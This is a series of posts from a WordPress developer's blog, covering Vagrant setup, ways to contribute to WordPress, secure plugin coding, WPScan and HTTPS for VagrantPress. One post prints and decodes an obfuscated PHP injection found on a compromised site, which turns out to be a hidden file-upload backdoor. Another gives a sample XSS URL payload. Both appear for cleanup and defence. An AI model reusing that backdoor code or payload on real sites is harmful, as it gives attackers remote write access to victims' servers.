It’s been a very long time since I’ve written anything, and I’m really sorry about that. This summer has been crazy, but I know that’s not an excuse. That being said, I have a new job now, so I’m not putting in as much time with WordPress as I’d like to. I’m working with a different framework (Yii2, still PHP) now and WordPress development may become something more like a hobby for me. I still have plans to develop some more plugins, but being realistic, those things might not happen until the cold winter falls and I’m stuck indoors for 9+ months. Such is life in the tundra of ND. Also, security and penetration testing have fallen on my radar so there may be more blog posts about things like that. Actually, this is a great post to lead into that, so let’s talk about security.
A long while back, I found another compromised site, and it being my job to clean it up, I had to do some dirty work by getting into a few files. While I was doing that, I found this little guy. It was so obfuscated that I almost just deleted it and left it at that, but I’m glad I didn’t. I cleaned it up, and made it legible so take a look at it.
This file, is pretty cool actually. It’s basically a backdoor to read, write, and delete anything on the file system. It has a file system browser built in, plus a few tools to execute code, and some others to analyze the system it’s on. Basically, once somebody gets this onto your system, they’re making their life easier to make your life harder. All of the things this file does, could be done with other tools, but how great is it to have one file do it all on the target system? Plus, if you’ve got a bot crawling known exploits on systems anyways, it’d be even easier to just have it drop this little devil on the target for you so you can come back later. It also helps that it was called wp-class.php (not a real WordPress file), because nobody would think to delete something that sounds that important.
Jesse, over at blackdoorsec.blogspot.com, did a nice write up on this file, and posted some comments on it line by line. I definitely recommend taking a look at his post. He’s much more thorough than I was here.
Category: WordPress
As far as development goes, it feels like if you aren’t using Vagrant, you aren’t doing it right. And if you’re doing WordPress development (themes, plugins, or even Core), you’re behind the curve if you haven’t started using VVV (Varying-Vagrant-Vagrants). VVV let’s you spin up another development instance relatively easily, but apparently, it can be even easier with vv (Variable VVV).
Damn, that’s a lot of V’s.
But seriously, this tool makes it even easier to create another development instance. If you haven’t checked it out already, I definitely recommend it. Use the command create to spin up another instance, and get a few questions about the kind of instance you want to create. This stuff is magical.
I haven’t contributed to WordPress.
There. I said it. I’m already starting to feel a little better, knowing that my secret is out. I’m admitting it and getting it off my chest. Now, when I say I haven’t contributed to WordPress, I mean that I haven’t really worked on core because that’s what first comes to my mind. But there’s a twist.
You don’t have to contribute code.
There are so many different ways to contribute to WordPress and I learned just that at WordCamp Minneapolis 2015 from Nikhil Vimal (@TechVoltz), whose presentation can be found here.
Code
Obviously, you can still contribute to WordPress by writing code. If that’s something you’re interested in, you should check out https://make.wordpress.org/core/. There, you’ll find all of the information you would need to get started on creating bug reports, fixing bugs, adding documentation, creating patches, testing, etc. All of the good things that happen when developers come together, you can be apart of. They used to have an IRC channel, but now the core team has moved over to Slack for real-time conversations. Join in on that, and find out where you might be needed.
Mobile
WordPress also had a mobile app, so if you’re an iOS or Android developer, there is still a place for you to make some open-source contributions.
Accessibility
Everyone that has ever been involved with WordPress knows it has a bit of a reputation for not being as accessible as it could be. Making it more accessible, means that WordPress would be much easier to use for vision impaired individuals. Special tools exist to make using the internet easier for vision impaired individuals, but those tools need help. By developing for accessibility, WordPress can reach a wider audience, and give more people access to this powerful platform we all love so dearly.
Languages
English speaking people aren’t the only ones that use WordPress. It’s used all over the globe, and as such, it needs to be translated. If you can speak more than one language, you can help translate WordPress and spread the good word about it even farther.
Community
I’m writing this blog post because I attended a WordCamp. It was awesome, and I definitely recommend going to one if you get a chance. If there are none in your area, maybe you should try organizing one. It’s possible to get help with this undertaking as well. Or you could always just plan a meetup.
Support
In my personal opinion, this is probably one of the most important, and easiest ways to contribute to WordPress. By answering someone else’s questions, you can solve real problems and see real results, almost immediately. Without the support forums, WordPress wouldn’t be what it is today. So go make an account at wordpress.org and start helping people.
Etc.
I could probably make one blog post a day for the next two months about different ways that you could contribute to WordPress, but you probably don’t want to read that. Really, what you need to do, is just participate. In any and every way you can think of. Build themes, make plugins, answer questions, document code, blog about WordPress, chat in the Slack channel, go to WordCamps and volunteer, etc, etc. There are just so many ways that @TechVoltz and I can’t cover them all. Just get out there, and do something.
Over the past weekend, I had the pleasure of attending WordCamp Minneapolis 2015 and it was a blast. You can check out my twitter feed (@awebdevguy) for some pictures of all the swag I scored. I basically got a new wardrobe from it, so tickets are definitely worth it.
But anyways, back to what this post is actually about.
Plugins are great. WordPress is great. Sometimes though, developers make mistakes. If you’ve followed my blog at all, you’d know that I just created a plugin recently, and the entire time, all I could think about was security. Recently, some big security issues have come up in WordPress and some big name plugins (Yoast SEO, Gravity Forms, etc). The thing that’s scary about this, is that these guys are the pros. Even the pros make mistakes, so how likely is it for an amateur developer like me to slip up? Probably much more. So while at WordCamp, the very first talk that caught my eye was from John Havlik titled Writing (More) Secure Plugins. Obviously, I would like to know how to do that. Every WordPress developer should, and John does an excellent job of explaining not only why you should care, but how you can remedy the most common issues of security. His presentation can be found here so definitely give that a glance.
WordPress Is A Big Fat Target
That’s one of the problems of being king. It’s not that WordPress is inherently insecure. It’s just that it has such a large market share. Think of it like the conversation that inevitably comes up when discussing PCs vs Macs. Someone always says “Macs don’t get viruses.” which is blatantly false. They are just as prone to viruses as PCs but PCs just make for a bigger target. WordPress is the same way. It is estimated to make up ~23.8% of all sites on the web! Why wouldn’t you target that as a hacker?
And since there are so many WordPress sites, it’s not uncommon to find poorly developed plugins and themes. That’s why we, as developers, have a responsibility to make our plugins more secure. It isn’t entirely the developers fault though. PHP has to take some of the blame. PHP is very dynamic and weakly typed. Variables can be created on the fly, and you can’t really prevent a variable from suddenly becoming a string. Strings open us up to vulnerabilities with our HTML output, form input, and database queries.
XSS
XSS (cross-site scripting) is probably one of the most common and easy ways to get into a site. It looks like this:
<a href=”<?php echo $_SERVER[‘REQUEST_URI’];?>”><?php echo $title;?></a>
The issue here is the $_SERVER[] request being echo’d out immediately. If someone were to discover this loophole, they could drop whatever code the wanted in the URL like so:
http://my-wp-site.com/?”><script>alert(‘Porkchop Sandwiches!’);</script>
Now if someone really knows their way around WordPress or your site, they could inject any number of things there, and execute their own code on your server. So how do you prevent this? You almost have to stop anytime you’re accepting input from the client, and make sure it’s validated. Check that it lands between an expected range, that it is a certain type, and only allow specific characters. This will all help protect your plugin. John suggests that you sanitize and validate your inputs as early as possible. Using functions like intval(), absint(), and isset() will help against invalid types and values. Functions like sanitize_email(), sanitize_text_field(), and sanitize_file_name() will clean your inputs, but be warned, they might change values that your users have submitted. Be sure to check out John’s presentation for more examples.
SQLi
SQLi (SQL injection) is nasty. We’re talking, all of your posts, comments, data, tables, etc. gone in one fell swoop. If you’re developing a WordPress plugin, use the WordPress API. The functionality is there, and most of the leg work is already done for you. Plus, it’s more secure. If you do have to access the database directly, WordPress has you covered there too. By using the $wpdb object, you get access to $wpdb::insert(), $wpdb::update(), $wpdb::delete(), and $wpdb::replace(). Those should be able to handle just about everything database related. If you are writing SQL, then use $wpdb::prepare() to make sure your query is safe to run.
When it comes to getting data back from your database, you can’t trust it. Data needs to be escaped as late as possible, cause who knows what our users entered in there. By using esc_html(), esc_attr(), esc_url(), and esc_js() we can prevent more problems.
Unsafe:
<a href=”<?php echo add_query_arg( ‘foo’, ‘bar’ ); ?>”><?php echo $title;?></a>
Safe:
<a href=”<?php echo esc_url( add_query_arg( ‘foo’, ‘bar’ ) ); ?>”>
<?php echo esc_html( $title ); ?>
</a>
CSRF
Cross-Site Request Forgery is a combination of hacking and social engineering. Basically, by tricking someone who is already logged into your site to click on a malicious link, an attacker can gain that user’s access. That link could be embedded in a comment or an email. To prevent this from happening to your users, use a nonce. Nonces are one time use tokens that are used for protecting links that execute an action. For instance, if I want to create a link that deletes a user, I don’t want that link to be available to anyone. We want it protected so that it can’t be emailed off and clicked by another user. Nonce’s look like this:
wp_nonce_url( $actionurl, $action, $name )
$actionurl is the URL we want to protect, $action is our action name, and $name is our nonce name. At this point, I’d recommend checking out John’s presentation again, just because he does such a good job of explaining nonces. Also, read up on the WordPress Codex.
So to sum this up, don’t trust external inputs (including the database), validate early, and escape late. Those are some of the big things to keep in mind when developing a plugin. It’s also a good idea to never trust the contents of $_SERVER, as it could be manipulated by the client. And did you know is_admin() doesn’t check if the user is an admin? It checks to see if the dashboard or administration panel is attempting to display. So don’t try locking your admin specific features down with that. Aside from that, stay away from the PHP functions eval() and assert(). You’re just asking for trouble by using those.
Categories
WordCamp Minneapolis
I know that it’s been a while since I’ve written anything, and I really don’t have a good excuse, but I promise that I’ll have some good content coming soon because tomorrow, I’ll be attending WordCamp Minneapolis. WordCamp is a great place to meet other WordPress developers, and learn about a ton of different WordPress related stuff. To be honest, I don’t really know how else to describe it. I’ll try and take notes, and relay back all sorts of useful developer related information here. Stay tuned!
I received word recently, that a site I have previously done work on, was getting some syntax errors. After checking those errors out, and seeing that certain files were giving the error Warning: Cannot modify header information – headers already sent by (/path/somefile.php) in /path/anotherfile.php, I determined the issue to be malicious PHP code that was being injected into WordPress core files, plugin files, and theme files. How it got there, I can’t be entirely certain, but my best guess is this vulnerability with Gravity Forms had something to do with it.
The code looked something like this:
<?php $JPyf4530 = “)nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw”;$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];$xdTQes100 = “\x65″.chr(118).”al”.chr(40).””.chr(103).””.chr(122).”i”.chr(110).”fl”.chr(97).””.chr(116).”\x65\x28\x62″.chr(97).”\x73″.chr(101).”6″.chr(52).”_\x64ec”.chr(111).”de\x28″;$TbQ6628 = “))\x29\x3b”;$W1576 = $xdTQes100.”‘NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8='”.$TbQ6628;$BYTdA1808($JPyf4530[24].$JPyf4530[3].$JPyf4530[5].$JPyf4530[24].$JPyf4530[13], $W1576 ,”386″); ?>
Looks like a jumbled mess, right? Well it is, but it’s supposed to appear like a jumbled mess to anyone who might stumble across it in an attempt to intimidate you to just leave it alone. And even though it looks like a chaotic disaster, it does have functionality. Let’s break it down into a few pieces.
<?php
$JPyf4530 = “)nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw”;
?>
Basically, this is just a string. Or maybe it’s better to call it an alphabet. Other variables are making access of the characters in this string. For instance:
$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];
Which translates to:
$BYTdA1808 = ‘preg_replace’;
Sneaky, eh? Some of the other variables are using ASCII codes to get the text they want but overall, it’s just a way of obscuring code. So we can take this idea, and apply it to the rest of this and come up with something like this:
$W1576 = “eval(gzinflate(base64_decode(‘NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8=’)));”;
preg_replace(‘/.*/e’, $W1576 ,”386″);
That’s essentially what it all boils down to. But what’s with all that encoded nonsense? I ran a var_dump() on it and came back with this little piece of work:
if(isset($_GET[“2c7e812eb3fc0265211ebc5ba4e53d21”])){
if (!empty($_FILES)){
if (!move_uploaded_file($_FILES[‘fn’][‘tmp_name’],’./arrr.php’)) {
echo ‘-‘;
} else {
echo ‘+’;
}
};
exit;
}
Like I said earlier , I think all of this was possible because of this vulnerability but I could very well be wrong. It would make sense though, as this hack is attempting to move some files around, and then echo success or failure (+/-).
If you use WordPress regularly, you know that it is often the target of hacking attempts, and rightfully so. It accounts for nearly a quarter of all websites! Why wouldn’t a hacker want to target WordPress? That, plus the plethora of amateur developers releasing plug-ins and themes with gaping security flaws, makes WordPress an easy win for someone with malicious intent.
You probably already know about the vast list of security plug-ins, that you shouldn’t write down your passwords, that you should use different passwords on every site, etc. I’m not going to list all of those things, because it’s boring and repetitive. I am going to tell you about WPScan though. WPScan does exactly what it sounds like. Scans your WordPress site. Boom. That simple. It’s backed by the guys over at Sucuri so you know it’s legit.
Do yourself a favor and check out WPScan either on their website or just go to the Github repo and clone it. It doesn’t work on Windows, so sorry about that. But it should work with a Mac or Linux machine. The install is pretty simple too. Here’s what I did:
sudo apt-get install libcurl4-gnutls-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential
git clone https://github.com/wpscanteam/wpscan.git
cd wpscan
sudo gem install bundler && bundle install –without test
Also, it’s nice to set an alias so you don’t have to be in that directory to run it all the time:
alias wpscan=”ruby /home/USERNAMEHERE/Documents/wpscan/wpscan.rb”
That way, you just run wpscan –update or whatever command you want and it works. It’ll give you a nice big list of things that you should look into, and tell you a few things you probably didn’t know.
I’ve made a few changes to the Edit Hopper WordPress plugin that I developed and I’m glad to say that it now supports Custom Post Types and Posts. Plus, thanks to Jimmy (@sporifolous on Github), it now has an options page to select which posts you want the meta box to show on. So if you’ve got a WordPress site, check it out.
https://github.com/Dilden/Edit-Hopper
Big shout out to @socki03 with his help on cleaning up some code.
A long, long time ago, I worked on a website that utilized an almost insane amount of pages and child pages in WordPress. While I was adding content to those pages, I realized that I hated having to click the Pages link in the sidebar of the WordPress admin to go back, and then dig through all of the pages, then click edit, and type in my content. I wanted things to be easier. No, they should have been easier, and much simpler.
I came up with an idea. I’d create a meta-box on the right hand side of the page that was currently being edited, that would contain links to the other pages. This makes things much simpler for bulk editing pages. And I’m happy to say, that I’ve finally finished it and made it available to everyone for free! Right now, it’s just available through Github, but you can download a zip file of it from there as well if need be.
Big shout-out to Brett for all his help on this! Check out his blog here and find him on twitter @Socki.
Here’s the link! Let me know what you think. I’m totally open to contributions as well.
I’m trying to be a better developer. And somewhere in the vastness of the internet, someone told me I should be using Vagrant. So I did. It was cool and I liked it, but then I found out about VagrantPress and it got even easier. You just clone that repo, and start working. Pretty simple really.
But the other day, I was working on something that required an HTTPS connection, and I thought you should know how to do this with VagrantPress.
Firstly, startup your machine and login via SSH:
vagrant up
vagrant ssh
We’re going to need to do a few things with the SSL certificates, but I promise it’s painless.
sudo make-ssl-cert generate-default-snakeoil –force-overwrite
sudo a2enmod ssl
sudo a2ensite default-ssl.conf
sudo service apache2 reload
Credit for these handy commands goes to vtalbot here. Then, we need to edit a few files.
sudo nano /etc/apache2/sites-enabled/default-ssl.conf
Change the DocumentRoot /var/www/html to /vagrant/wordpress. Then we need to tell apache that it’s ok to share that directory so run this command:
sudo nano /etc/apache2/apache2.conf
and scroll waaaay down to all of the directives that look like
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
and create another one that looks like this
<Directory /vagrant/wordpress/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
After all of that, run
sudo service apache2 reload
Also, you’ll want to make sure your .htaccess file looks like this:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
The final step then is to navigate to your WordPress settings > General, and change both URLs to be HTTPS instead of HTTP.
And that should be all there is to it! You should now be able to access https://vagrantpress.dev/ and https://vagrantpress.dev/wp-admin/ problem free. Of course, your browser will probably tell you the connection isn’t trusted, but that’s just because you’re not using a signed SSL certificate.
The next step might be to go and change the URL in the WordPress settings, fiddle with your .htaccess if you want to force the SSL connection but for basic development purposes, this should get you where you need to go.